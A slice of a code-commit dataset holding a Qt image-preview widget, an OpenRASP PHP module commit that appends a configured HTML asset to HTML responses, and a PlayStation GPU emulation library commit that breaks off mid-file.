m_image->previewImage();\n\t\tif (thumbnail.isNull()) {\n\t\t\tl->scale(QPixmap(\":\/images\/noimage.png\"), QSize(imageSize, imageSize));\n\t\t} else {\n\t\t\tl->scale(thumbnail, QSize(imageSize, imageSize));\n\t\t}\n\t\tif (m_childrenCount > 0) {\n\t\t\tl->setCounter(QString::number(m_childrenCount));\n\t\t}\n\n\t\tconnect(l, SIGNAL(appui(int)), this, SIGNAL(clicked()));\n\t\tconnect(l, SIGNAL(toggled(int, bool, bool)), this, SLOT(toggledWithId(int, bool, bool)));\n\n\t\tlayout->addWidget(l);\n\t\tm_bouton = l;\n\t}\n\n\tif (!m_name.isEmpty()) {\n\t\tlayout->addWidget(new QLabel(m_name));\n\t}\n\n\temit finished();\n}\n\nvoid ImagePreview::toggledWithId(int id, bool toggle, bool range)\n{\n\tQ_UNUSED(id);\n\n\temit toggled(toggle, range);\n}\n\n\nQStringList getImageAlreadyExists(const QSharedPointer<Image> &img, Profile *profile)\n{\n\tQSettings *settings = profile->getSettings();\n\tconst QString path = settings->value(\"Save\/path\").toString().replace(\"\\\\\", \"\/\");\n\tconst QString fn = settings->value(\"Save\/filename\").toString();\n\n\tif (Filename(fn).needExactTags(img->parentSite(), settings) == 0) {\n\t\tQStringList ret;\n\t\tQStringList files = img->paths(fn, path, 0);\n\t\tfor (const QString &file : files) {\n\t\t\tif (QFile(file).exists()) {\n\t\t\t\tret.append(file);\n\t\t\t}\n\t\t}\n\t\tif (!ret.isEmpty()) {\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\treturn profile->md5Exists(img->md5());\n}\n\nvoid ImagePreview::customContextMenuRequested()\n{\n\tQMenu *menu = new ImageContextMenu(m_profile->getSettings(), m_image, m_mainWindow, m_container);\n\tQAction *first = menu->actions().first();\n\n\t\/\/ Save image\n\tQAction *actionSave;\n\tif (!getImageAlreadyExists(m_image, m_profile).isEmpty()) {\n\t\tactionSave = new QAction(QIcon(\":\/images\/status\/error.png\"), tr(\"Delete\"), menu);\n\t} else {\n\t\tactionSave = new QAction(QIcon(\":\/images\/icons\/save.png\"), tr(\"Save\"), menu);\n\t}\n\tconnect(actionSave, &QAction::triggered, this, &ImagePreview::contextSaveImage);\n\tmenu->insertAction(first, actionSave);\n\n\t\/\/ Save image as...\n\tQAction *actionSaveAs = new QAction(QIcon(\":\/images\/icons\/save-as.png\"), tr(\"Save as...\"), menu);\n\tconnect(actionSaveAs, &QAction::triggered, this, &ImagePreview::contextSaveImageAs);\n\tmenu->insertAction(first, actionSaveAs);\n\n\t\/\/ Custom elements\n\tif (m_customContextMenu != nullptr) {\n\t\tm_customContextMenu(menu, m_image);\n\t}\n\n\tmenu->insertSeparator(first);\n\n\tmenu->exec(QCursor::pos());\n}\n\nvoid ImagePreview::contextSaveImage()\n{\n\tQStringList already = getImageAlreadyExists(m_image, m_profile);\n\tif (!already.isEmpty()) {\n\t\tfor (const QString &path : already) {\n\t\t\tQFile(path).remove();\n\t\t\tm_profile->removeMd5(m_image->md5(), path);\n\t\t}\n\t} else {\n\t\tQSettings *settings = m_profile->getSettings();\n\t\tconst QString fn = settings->value(\"Save\/filename\").toString();\n\t\tconst QString path = settings->value(\"Save\/path\").toString();\n\n\t\tauto downloader = new ImageDownloader(m_profile, m_image, fn, path, 1, true, true, m_downloadQueue);\n\t\tconnect(downloader, &ImageDownloader::downloadProgress, this, &ImagePreview::contextSaveImageProgress);\n\t\tm_downloadQueue->add(DownloadQueue::Manual, downloader);\n\t}\n}\n\nvoid ImagePreview::contextSaveImageAs()\n{\n\tQSettings *settings = m_profile->getSettings();\n\n\tFilename format(settings->value(\"Save\/filename\").toString());\n\tQString tmpPath;\n\n\t\/\/ If we need detailed tags for the filename, we first load them\n\tconst int needTags = format.needExactTags(m_image->parentSite(), settings);\n\tif (needTags == 2 || (needTags == 1 && m_image->hasUnknownTag())) {\n\t\tQEventLoop loop;\n\t\tm_image->loadDetails();\n\t\tconnect(m_image.data(), &Image::finishedLoadingTags, &loop, &QEventLoop::quit);\n\t\tloop.exec();\n\t}\n\n\t\/\/ If the MD5 is required for the filename, we first download the image\n\tif (format.needTemporaryFile(m_image->tokens(m_profile))) {\n\t\ttmpPath = QDir::temp().absoluteFilePath(\"grabber-saveAs-\" + QString::number(QRandomGenerator::global()->generate(), 16));\n\n\t\tQEventLoop loop;\n\t\tImageDownloader downloader(m_profile, m_image, { tmpPath }, 1, true, true, this);\n\t\tconnect(&downloader, &ImageDownloader::saved, &loop, &QEventLoop::quit);\n\t\tdownloader.save();\n\t\tloop.exec();\n\t}\n\n\tconst QStringList filenames = format.path(*m_image, m_profile);\n\tconst QString filename = filenames.first().section(QDir::separator(), -1);\n\tconst QString lastDir = settings->value(\"Zoom\/lastDir\").toString();\n\n\tQString path = QFileDialog::getSaveFileName(m_container, tr(\"Save image\"), QDir::toNativeSeparators(lastDir + \"\/\" + filename), \"Images (*.png *.gif *.jpg *.jpeg)\");\n\tif (!path.isEmpty()) {\n\t\tpath = QDir::toNativeSeparators(path);\n\t\tsettings->setValue(\"Zoom\/lastDir\", path.section(QDir::separator(), 0, -2));\n\n\t\tif (!tmpPath.isEmpty()) {\n\t\t\tQFile::rename(tmpPath, path);\n\t\t} else {\n\t\t\tauto downloader = new ImageDownloader(m_profile, m_image, { path }, 1, true, true, this, true, false, Image::Size::Unknown, true, true);\n\t\t\tconnect(downloader, &ImageDownloader::downloadProgress, this, &ImagePreview::contextSaveImageProgress);\n\t\t\tm_downloadQueue->add(DownloadQueue::Manual, downloader);\n\t\t}\n\t} else if (!tmpPath.isEmpty()) {\n\t\tQFile::remove(tmpPath);\n\t}\n}\n\nvoid ImagePreview::contextSaveImageProgress(const QSharedPointer<Image> &img, qint64 v1, qint64 v2)\n{\n\tQ_UNUSED(img);\n\tsetDownloadProgress(v1, v2);\n}\n\nvoid ImagePreview::setCustomContextMenu(std::function<void (QMenu *, const QSharedPointer<Image> &)> customContextMenu)\n{\n\tm_customContextMenu = customContextMenu;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2017-2018 Baidu Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"openrasp_inject.h\"\n#include \"openrasp_ini.h\"\n#include <string>\n#include <vector>\n#include <fstream>\n#include <chrono>\n#include <new>\n\nZEND_DECLARE_MODULE_GLOBALS(openrasp_inject)\nstd::vector<char> inject_html;\n\nvoid openrasp_load_inject_html(TSRMLS_D)\n{\n std::vector<char> inject;\n char *path;\n spprintf(&path, 0, \"%s%cassets%cinject.html\", openrasp_ini.root_dir, DEFAULT_SLASH, DEFAULT_SLASH);\n std::ifstream file(path, std::ios::binary | std::ios::ate);\n efree(path);\n if (file.is_open())\n {\n std::streamsize size = file.tellg();\n file.seekg(0, std::ios::beg);\n inject.resize(size);\n file.read(inject.data(), size);\n }\n inject_html = std::move(inject);\n}\n\nPHP_GINIT_FUNCTION(openrasp_inject)\n{\n#ifdef ZTS\n new (openrasp_inject_globals) _zend_openrasp_inject_globals;\n#endif\n}\n\nPHP_GSHUTDOWN_FUNCTION(openrasp_inject)\n{\n#ifdef ZTS\n openrasp_inject_globals->~_zend_openrasp_inject_globals();\n#endif\n}\n\nPHP_MINIT_FUNCTION(openrasp_inject)\n{\n ZEND_INIT_MODULE_GLOBALS(openrasp_inject, PHP_GINIT(openrasp_inject), PHP_GSHUTDOWN(openrasp_inject));\n openrasp_load_inject_html(TSRMLS_C);\n return SUCCESS;\n}\n\nPHP_MSHUTDOWN_FUNCTION(openrasp_inject)\n{\n ZEND_SHUTDOWN_MODULE_GLOBALS(openrasp_inject, PHP_GSHUTDOWN(openrasp_inject));\n return SUCCESS;\n}\n\nPHP_RINIT_FUNCTION(openrasp_inject)\n{\n {\n auto time_point = std::chrono::steady_clock::now();\n long long nano = time_point.time_since_epoch().count();\n unsigned long hash = zend_inline_hash_func(reinterpret_cast<const char *>(&nano), sizeof(nano));\n spprintf(&OPENRASP_INJECT_G(request_id), 32, \"%016lx%016llx\", hash, nano);\n char *uuid_header = nullptr;\n int uuid_header_len = spprintf(&uuid_header, 0, \"X-Request-ID: %s\", OPENRASP_INJECT_G(request_id));\n if (uuid_header)\n {\n sapi_header_line header;\n header.line = uuid_header;\n header.line_len = uuid_header_len;\n header.response_code = 0;\n sapi_header_op(SAPI_HEADER_REPLACE, &header TSRMLS_CC);\n }\n efree(uuid_header);\n }\n {\n sapi_header_line header;\n header.line = \"X-Protected-By: OpenRASP\";\n header.line_len = sizeof(\"X-Protected-By: OpenRASP\") - 1;\n header.response_code = 0;\n sapi_header_op(SAPI_HEADER_REPLACE, &header TSRMLS_CC);\n }\n return SUCCESS;\n}\nPHP_RSHUTDOWN_FUNCTION(openrasp_inject)\n{\n static const char REQUEST_URI[] = \"REQUEST_URI\";\n static const ulong REQUEST_URI_HASH = zend_get_hash_value(ZEND_STRS(REQUEST_URI));\n if (inject_html.size())\n {\n bool is_match_inject_prefix = true;\n if (openrasp_ini.inject_html_urlprefix && strlen(openrasp_ini.inject_html_urlprefix) > 0)\n {\n is_match_inject_prefix = false;\n if (PG(http_globals)[TRACK_VARS_SERVER] || zend_is_auto_global(ZEND_STRL(\"_SERVER\") TSRMLS_CC))\n {\n zval **value;\n if (zend_hash_quick_find(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS(REQUEST_URI), REQUEST_URI_HASH, (void **)&value) == SUCCESS &&\n Z_TYPE_PP(value) == IS_STRING &&\n strncasecmp(Z_STRVAL_PP(value), openrasp_ini.inject_html_urlprefix, strlen(openrasp_ini.inject_html_urlprefix)) == 0)\n {\n is_match_inject_prefix = true;\n }\n }\n }\n if (is_match_inject_prefix)\n {\n char target_header[] = \"text\/html\";\n for (zend_llist_element *element = SG(sapi_headers).headers.head; element; element = element->next)\n {\n sapi_header_struct *sapi_header = (sapi_header_struct *)element->data;\n if (sapi_header->header_len > 0 &&\n strncasecmp(sapi_header->header, \"content-type\", sizeof(\"content-type\") - 1) == 0 &&\n php_stristr(sapi_header->header, target_header, sapi_header->header_len, strlen(target_header)) != nullptr)\n {\n#if PHP_MINOR_VERSION > 3\n php_output_write(inject_html.data(), inject_html.size() TSRMLS_CC);\n#else\n php_body_write(inject_html.data(), inject_html.size() TSRMLS_CC);\n#endif\n break;\n }\n }\n }\n }\n efree(OPENRASP_INJECT_G(request_id));\n return SUCCESS;\n}<commit_msg>[PHP5]is_match_inject_prefix 初始值<commit_after>\/*\n * Copyright 2017-2018 Baidu Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"openrasp_inject.h\"\n#include \"openrasp_ini.h\"\n#include <string>\n#include <vector>\n#include <fstream>\n#include <chrono>\n#include <new>\n\nZEND_DECLARE_MODULE_GLOBALS(openrasp_inject)\nstd::vector<char> inject_html;\n\nvoid openrasp_load_inject_html(TSRMLS_D)\n{\n std::vector<char> inject;\n char *path;\n spprintf(&path, 0, \"%s%cassets%cinject.html\", openrasp_ini.root_dir, DEFAULT_SLASH, DEFAULT_SLASH);\n std::ifstream file(path, std::ios::binary | std::ios::ate);\n efree(path);\n if (file.is_open())\n {\n std::streamsize size = file.tellg();\n file.seekg(0, std::ios::beg);\n inject.resize(size);\n file.read(inject.data(), size);\n }\n inject_html = std::move(inject);\n}\n\nPHP_GINIT_FUNCTION(openrasp_inject)\n{\n#ifdef ZTS\n new (openrasp_inject_globals) _zend_openrasp_inject_globals;\n#endif\n}\n\nPHP_GSHUTDOWN_FUNCTION(openrasp_inject)\n{\n#ifdef ZTS\n openrasp_inject_globals->~_zend_openrasp_inject_globals();\n#endif\n}\n\nPHP_MINIT_FUNCTION(openrasp_inject)\n{\n ZEND_INIT_MODULE_GLOBALS(openrasp_inject, PHP_GINIT(openrasp_inject), PHP_GSHUTDOWN(openrasp_inject));\n openrasp_load_inject_html(TSRMLS_C);\n return SUCCESS;\n}\n\nPHP_MSHUTDOWN_FUNCTION(openrasp_inject)\n{\n ZEND_SHUTDOWN_MODULE_GLOBALS(openrasp_inject, PHP_GSHUTDOWN(openrasp_inject));\n return SUCCESS;\n}\n\nPHP_RINIT_FUNCTION(openrasp_inject)\n{\n {\n auto time_point = std::chrono::steady_clock::now();\n long long nano = time_point.time_since_epoch().count();\n unsigned long hash = zend_inline_hash_func(reinterpret_cast<const char *>(&nano), sizeof(nano));\n spprintf(&OPENRASP_INJECT_G(request_id), 32, \"%016lx%016llx\", hash, nano);\n char *uuid_header = nullptr;\n int uuid_header_len = spprintf(&uuid_header, 0, \"X-Request-ID: %s\", OPENRASP_INJECT_G(request_id));\n if (uuid_header)\n {\n sapi_header_line header;\n header.line = uuid_header;\n header.line_len = uuid_header_len;\n header.response_code = 0;\n sapi_header_op(SAPI_HEADER_REPLACE, &header TSRMLS_CC);\n }\n efree(uuid_header);\n }\n {\n sapi_header_line header;\n header.line = \"X-Protected-By: OpenRASP\";\n header.line_len = sizeof(\"X-Protected-By: OpenRASP\") - 1;\n header.response_code = 0;\n sapi_header_op(SAPI_HEADER_REPLACE, &header TSRMLS_CC);\n }\n return SUCCESS;\n}\nPHP_RSHUTDOWN_FUNCTION(openrasp_inject)\n{\n static const char REQUEST_URI[] = \"REQUEST_URI\";\n static const ulong REQUEST_URI_HASH = zend_get_hash_value(ZEND_STRS(REQUEST_URI));\n if (inject_html.size())\n {\n bool is_match_inject_prefix = false;\n if (openrasp_ini.inject_html_urlprefix && strlen(openrasp_ini.inject_html_urlprefix) > 0)\n {\n is_match_inject_prefix = false;\n if (PG(http_globals)[TRACK_VARS_SERVER] || zend_is_auto_global(ZEND_STRL(\"_SERVER\") TSRMLS_CC))\n {\n zval **value;\n if (zend_hash_quick_find(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS(REQUEST_URI), REQUEST_URI_HASH, (void **)&value) == SUCCESS &&\n Z_TYPE_PP(value) == IS_STRING &&\n strncasecmp(Z_STRVAL_PP(value), openrasp_ini.inject_html_urlprefix, strlen(openrasp_ini.inject_html_urlprefix)) == 0)\n {\n is_match_inject_prefix = true;\n }\n }\n }\n if (is_match_inject_prefix)\n {\n char target_header[] = \"text\/html\";\n for (zend_llist_element *element = SG(sapi_headers).headers.head; element; element = element->next)\n {\n sapi_header_struct *sapi_header = (sapi_header_struct *)element->data;\n if (sapi_header->header_len > 0 &&\n strncasecmp(sapi_header->header, \"content-type\", sizeof(\"content-type\") - 1) == 0 &&\n php_stristr(sapi_header->header, target_header, sapi_header->header_len, strlen(target_header)) != nullptr)\n {\n#if PHP_MINOR_VERSION > 3\n php_output_write(inject_html.data(), inject_html.size() TSRMLS_CC);\n#else\n php_body_write(inject_html.data(), inject_html.size() TSRMLS_CC);\n#endif\n break;\n }\n }\n }\n }\n efree(OPENRASP_INJECT_G(request_id));\n return SUCCESS;\n}<|endoftext|>"} {"text":"<commit_before>#include \"LIBGPU.H\"\n\n#include \"EMULATOR.H\"\n\n#define GL_GLEXT_PROTOTYPES 1\n#include <SDL.h>\n#include <SDL_opengl.h>\n#include <SDL_opengl_glext.h>\n\n#include <stdio.h>\n#include <cstring>\n#include <cassert>\n#include <LIBETC.H>\n\nunsigned short vram[1024 * 512];\nDISPENV word_33BC;\nint dword_3410 = 0;\nchar byte_3352 = 0;\n\nvoid* off_3348[]=\n{\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL\n};\n\nint ClearImage(RECT16* rect, u_char r, u_char g, u_char b)\n{\n#if USE_FRAME_BUFFERS\n\tchar* pixelData = new char[rect->w*rect->h * 3];\n\tmemset(pixelData, 0, rect->w*rect->h * 3);\n\n\tfor (int y = 0; y < rect->w*rect->h * 3; y += 3)\n\t{\n\t\tpixelData[y + 0] = r;\n\t\tpixelData[y + 1] = g;\n\t\tpixelData[y + 2] = b;\n\t}\n\n\tGLuint blitFramebufferName = 0;\n\tglGenFramebuffers(1, &blitFramebufferName);\n\tglBindFramebuffer(GL_FRAMEBUFFER, blitFramebufferName);\n\n\tGLuint blitTexture = 0;\n\tglGenTextures(1, &blitTexture);\n\n\tglBindTexture(GL_TEXTURE_2D, blitTexture);\n\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, rect->w, rect->h, 0, GL_RGB, GL_UNSIGNED_BYTE, pixelData);\n\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\n\tglFramebufferTexture(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, blitTexture, 0);\n\tglBindFramebuffer(GL_FRAMEBUFFER, blitFramebufferName);\n\n\tglFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, blitTexture, 0);\n\tglReadBuffer(GL_COLOR_ATTACHMENT0);\n\n\tglBindFramebuffer(GL_FRAMEBUFFER, vramFramebufferName);\n\tglFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT1, GL_TEXTURE_2D, vramTexture, 0);\n\tglDrawBuffer(GL_COLOR_ATTACHMENT1);\n\n\t\/\/tr glBlitNamedFramebuffer(blitFramebufferName, vramFramebufferName, 0, 0, rect->w, rect->h, 512, 0, 512+(rect->y*2), 256, GL_COLOR_BUFFER_BIT, GL_NEAREST);\n\t\/\/tl glBlitNamedFramebuffer(blitFramebufferName, vramFramebufferName, 0, 0, rect->w, rect->h, 0 , 0, 512+(rect->y*2), 256, GL_COLOR_BUFFER_BIT, GL_NEAREST);\n\t\/\/bl glBlitNamedFramebuffer(blitFramebufferName, vramFramebufferName, 0, 0, rect->w, rect->h, 0, 256, 512, 512 + (rect->y * 2), GL_COLOR_BUFFER_BIT, GL_NEAREST);\n\n\tglBlitNamedFramebuffer(blitFramebufferName, vramFramebufferName, 0, 0, rect->w, rect->h, rect->x, rect->y, 512 + (rect->x * 2), 256 + rect->y, GL_COLOR_BUFFER_BIT, GL_NEAREST);\n\tprintf(\"X: %d Y: %d W: %d H: %d\\n\", 0, rect->y, 512 + (rect->x * 2), rect->h);\n\n#else\n\tfor (int y = 0; y < 512; y++)\n\t{\n\t\tfor (int x = 0; x < 1024; x++)\n\t\t{\n\t\t\tunsigned short* pixel = vram + (y * 1024 + x);\n\n\t\t\tif (x >= rect->x && x < rect->x + rect->w && \n\t\t\t\ty >= rect->y && y < rect->y + rect->h)\n\t\t\t{\n\t\t\t\tpixel[0] = ((r >> 3) << 11) | ((g >> 3) << 6) | ((b >> 3) << 1) | 1;\n\t\t\t}\n\t\t}\n\t}\n#endif\n\treturn 0;\n}\n\nint DrawSync(int mode)\n{\n\treturn 0;\n}\n\nint LoadImagePSX(RECT16* rect, u_long* p)\n{\n#if USE_FRAME_BUFFERS\n\tGLuint blitFramebufferName = 0;\n\tglGenFramebuffers(1, &blitFramebufferName);\n\tglBindFramebuffer(GL_FRAMEBUFFER, blitFramebufferName);\n\n\tGLuint blitTexture = 0;\n\tglGenTextures(1, &blitTexture);\n\n\t\/\/ \"Bind\" the newly created texture : all future texture functions will modify this texture\n\tglBindTexture(GL_TEXTURE_2D, blitTexture);\n\n\t\/\/ Give an empty image to OpenGL ( the last \"0\" )\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, rect->w, rect->h, 0, GL_RGB, GL_UNSIGNED_SHORT_4_4_4_4_REV, (unsigned short*)p);\n\n\t\/\/\/glCopyBufferSubData(blitTexture, vramTexture, 0, 0, rect->w * rect->h * 4)\n\n\t\/\/ Poor filtering. Needed !\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\n\tglFramebufferTexture(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, blitTexture, 0);\n\n\tglBindFramebuffer(GL_FRAMEBUFFER, blitFramebufferName);\n\t\/\/ Bind input FBO + texture to a color attachment\n\n\tglFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, blitTexture, 0);\n\tglReadBuffer(GL_COLOR_ATTACHMENT0);\n\n\t\/\/ Bind destination FBO + texture to another color attachment\n\tglBindFramebuffer(GL_FRAMEBUFFER, vramFramebufferName);\n\tglFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT1, GL_TEXTURE_2D, vramTexture, 0);\n\tglDrawBuffer(GL_COLOR_ATTACHMENT1);\n\n\t\/\/\tglBlitFramebuffer(0, 0, rect->w, rect->h, 0, 0, rect->w, rect->h, GL_COLOR_BUFFER_BIT, GL_NEAREST);\n\n\tglBlitNamedFramebuffer(blitFramebufferName, vramFramebufferName, 0, 0, rect->w, rect->h, rect->x, rect->y, 512 + (rect->x * 2), 256 + rect->y, GL_COLOR_BUFFER_BIT, GL_NEAREST);\n\n#else\n\tunsigned short* dst = (unsigned short*)p;\n\n\tfor (int y = 0; y < 512; y++)\n\t{\n\t\tfor (int x = 0; x < 1024; x++)\n\t\t{\n\t\t\tunsigned short* src = vram + (y * 1024 + x);\n\n\t\t\tif (x >= rect->x && x < rect->x + rect->w &&\n\t\t\t\ty >= rect->y && y < rect->y + rect->h)\n\t\t\t{\n\t\t\t\tsrc[0] = *dst++;\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n#if 1\n\tFILE* f = fopen(\"VRAM.BIN\", \"wb\");\n\tfwrite(&vram[0], 1, 1024 * 512 * 2, f);\n\tfclose(f);\n#endif\n\n\treturn 0;\n}\n\nint ResetGraph(int mode)\n{\n\treturn 0;\n}\n\nint SetGraphDebug(int level)\n{\n\treturn 0;\n}\n\nint StoreImage(RECT16 * RECT16, u_long * p)\n{\n\treturn 0;\n}\n\nu_long * ClearOTag(u_long * ot, int n)\n{\n\tassert(0);\n\treturn 0;\n}\n\nu_long* ClearOTagR(u_long* ot, int n)\n{\n\t\/\/v0 = byte_3352;\n\t\/\/s0 = ot\n\t\/\/s1 = n\n\n\t\/\/v0 = v0 < 2 ? 1 : 0\n\tif (byte_3352 > 1)\n\t{\n\t\t\/\/\/GPU_printf(\"ClearOTagR(%08x,%d)...\\n\", ot, n);\n\t}\n\n\t\/\/loc_CB0\n\/\/\t((void*)off_3348[11])();\n\n\treturn 0;\n}\n\nvoid SetDispMask(int mask)\n{\n}\n\nDISPENV* GetDispEnv(DISPENV* env)\/\/(F)\n{\n\tmemcpy(env, &word_33BC, sizeof(DISPENV));\n\treturn env;\n}\n\nDISPENV* PutDispEnv(DISPENV* env)\/\/To Finish\n{\n\tmemcpy((char*)&word_33BC, env, sizeof(DISPENV));\n\treturn 0;\n}\n\nDISPENV* SetDefDispEnv(DISPENV* env, int x, int y, int w, int h)\/\/(F)\n{\n\tenv->disp.x = x;\n\tenv->disp.y = y;\n\tenv->disp.w = w;\n\tenv->screen.x = 0;\n\tenv->screen.y = 0;\n\tenv->screen.w = 0;\n\tenv->screen.h = 0;\n\tenv->isrgb24 = 0;\n\tenv->isinter = 0;\n\tenv->pad1 = 0;\n\tenv->pad0 = 0;\n\tenv->disp.h = h;\n\treturn 0;\n}\n\nDRAWENV* PutDrawEnv(DRAWENV* env)\n{\n\treturn NULL;\n}\n\nDRAWENV* SetDefDrawEnv(DRAWENV* env, int x, int y, int w, int h)\/\/(F)\n{\n\tenv->clip.x = x;\n\tenv->clip.y = y;\n\tenv->clip.w = w;\n\tenv->tw.x = 0;\n\tenv->tw.y = 0;\n\tenv->tw.w = 0;\n\tenv->tw.h = 0;\n\tenv->r0 = 0;\n\tenv->g0 = 0;\n\tenv->b0 = 0;\n\tenv->dtd = 1;\n\tenv->clip.h = h;\n\n\tif (GetVideoMode() == 0)\n\t{\n\t\tenv->dfe = h < 0x121 ? 1 : 0;\n\t}\n\telse\n\t{\n\t\tenv->dfe = h < 0x101 ? 1 : 0;\n\t}\n\n\tenv->ofs[0] = x;\n\tenv->ofs[1] = y;\n\n\tenv->tpage = 10;\n\tenv->isbg = 0;\n\n\treturn env;\n}\n\nu_long DrawSyncCallback(void(*func)(void))\n{\n\n\treturn u_long();\n}\n\nvoid DrawOTagEnv(u_long* p, DRAWENV* env)\n{\n\tprintf(\"Debug\");\n}\n<commit_msg>Optimise LIBGPU.C and clean.<commit_after>#include \"LIBGPU.H\"\n\n#include \"EMULATOR.H\"\n\n#define GL_GLEXT_PROTOTYPES 1\n#include <SDL.h>\n#include <SDL_opengl.h>\n#include <SDL_opengl_glext.h>\n\n#include <stdio.h>\n#include <cstring>\n#include <cassert>\n#include <LIBETC.H>\n\nunsigned short vram[1024 * 512];\nDISPENV word_33BC;\nint dword_3410 = 0;\nchar byte_3352 = 0;\n\nvoid* off_3348[]=\n{\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL\n};\n\nint ClearImage(RECT16* rect, u_char r, u_char g, u_char b)\n{\n\tfor (int y = rect->y; y < 512; y++)\n\t{\n\t\tfor (int x = rect->x; x < 1024; x++)\n\t\t{\n\t\t\tunsigned short* pixel = vram + (y * 1024 + x);\n\n\t\t\tif (x >= rect->x && x < rect->x + rect->w && \n\t\t\t\ty >= rect->y && y < rect->y + rect->h)\n\t\t\t{\n\t\t\t\tpixel[0] = ((r >> 3) << 11) | ((g >> 3) << 6) | ((b >> 3) << 1) | 0;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint DrawSync(int mode)\n{\n\treturn 0;\n}\n\nint LoadImagePSX(RECT16* rect, u_long* p)\n{\n\tunsigned short* dst = (unsigned short*)p;\n\n\tfor (int y = rect->y; y < 512; y++)\n\t{\n\t\tfor (int x = rect->x; x < 1024; x++)\n\t\t{\n\t\t\tunsigned short* src = vram + (y * 1024 + x);\n\n\t\t\tif (x >= rect->x && x < rect->x + rect->w &&\n\t\t\t\ty >= rect->y && y < rect->y + rect->h)\n\t\t\t{\n\t\t\t\tsrc[0] = *dst++;\n\t\t\t}\n\t\t}\n\t}\n\n#if _DEBUG\n\tFILE* f = fopen(\"VRAM.BIN\", \"wb\");\n\tfwrite(&vram[0], 1, 1024 * 512 * 2, f);\n\tfclose(f);\n#endif\n\n\treturn 0;\n}\n\nint ResetGraph(int mode)\n{\n\treturn 0;\n}\n\nint SetGraphDebug(int level)\n{\n\treturn 0;\n}\n\nint StoreImage(RECT16 * RECT16, u_long * p)\n{\n\treturn 0;\n}\n\nu_long * ClearOTag(u_long * ot, int n)\n{\n\tassert(0);\n\treturn 0;\n}\n\nu_long* ClearOTagR(u_long* ot, int n)\n{\n\t\/\/v0 = byte_3352;\n\t\/\/s0 = ot\n\t\/\/s1 = n\n\n\t\/\/v0 = v0 < 2 ? 1 : 0\n\tif (byte_3352 > 1)\n\t{\n\t\t\/\/\/GPU_printf(\"ClearOTagR(%08x,%d)...\\n\", ot, n);\n\t}\n\n\t\/\/loc_CB0\n\/\/\t((void*)off_3348[11])();\n\n\treturn 0;\n}\n\nvoid SetDispMask(int mask)\n{\n}\n\nDISPENV* GetDispEnv(DISPENV* env)\/\/(F)\n{\n\tmemcpy(env, &word_33BC, sizeof(DISPENV));\n\treturn env;\n}\n\nDISPENV* PutDispEnv(DISPENV* env)\/\/To Finish\n{\n\tmemcpy((char*)&word_33BC, env, sizeof(DISPENV));\n\treturn 0;\n}\n\nDISPENV* SetDefDispEnv(DISPENV* env, int x, int y, int w, int h)\/\/(F)\n{\n\tenv->disp.x = x;\n\tenv->disp.y = y;\n\tenv->disp.w = w;\n\tenv->screen.x = 0;\n\tenv->screen.y = 0;\n\tenv->screen.w = 0;\n\tenv->screen.h = 0;\n\tenv->isrgb24 = 0;\n\tenv->isinter = 0;\n\tenv->pad1 = 0;\n\tenv->pad0 = 0;\n\tenv->disp.h = h;\n\treturn 0;\n}\n\nDRAWENV* PutDrawEnv(DRAWENV* env)\n{\n\treturn NULL;\n}\n\nDRAWENV* SetDefDrawEnv(DRAWENV* env, int x, int y, int w, int h)\/\/(F)\n{\n\tenv->clip.x = x;\n\tenv->clip.y = y;\n\tenv->clip.w = w;\n\tenv->tw.x = 0;\n\tenv->tw.y = 0;\n\tenv->tw.w = 0;\n\tenv->tw.h = 0;\n\tenv->r0 = 0;\n\tenv->g0 = 0;\n\tenv->b0 = 0;\n\tenv->dtd = 1;\n\tenv->clip.h = h;\n\n\tif (GetVideoMode() == 0)\n\t{\n\t\tenv->dfe = h < 0x121 ? 1 : 0;\n\t}\n\telse\n\t{\n\t\tenv->dfe = h < 0x101 ? 1 : 0;\n\t}\n\n\tenv->ofs[0] = x;\n\tenv->ofs[1] = y;\n\n\tenv->tpage = 10;\n\tenv->isbg = 0;\n\n\treturn env;\n}\n\nu_long 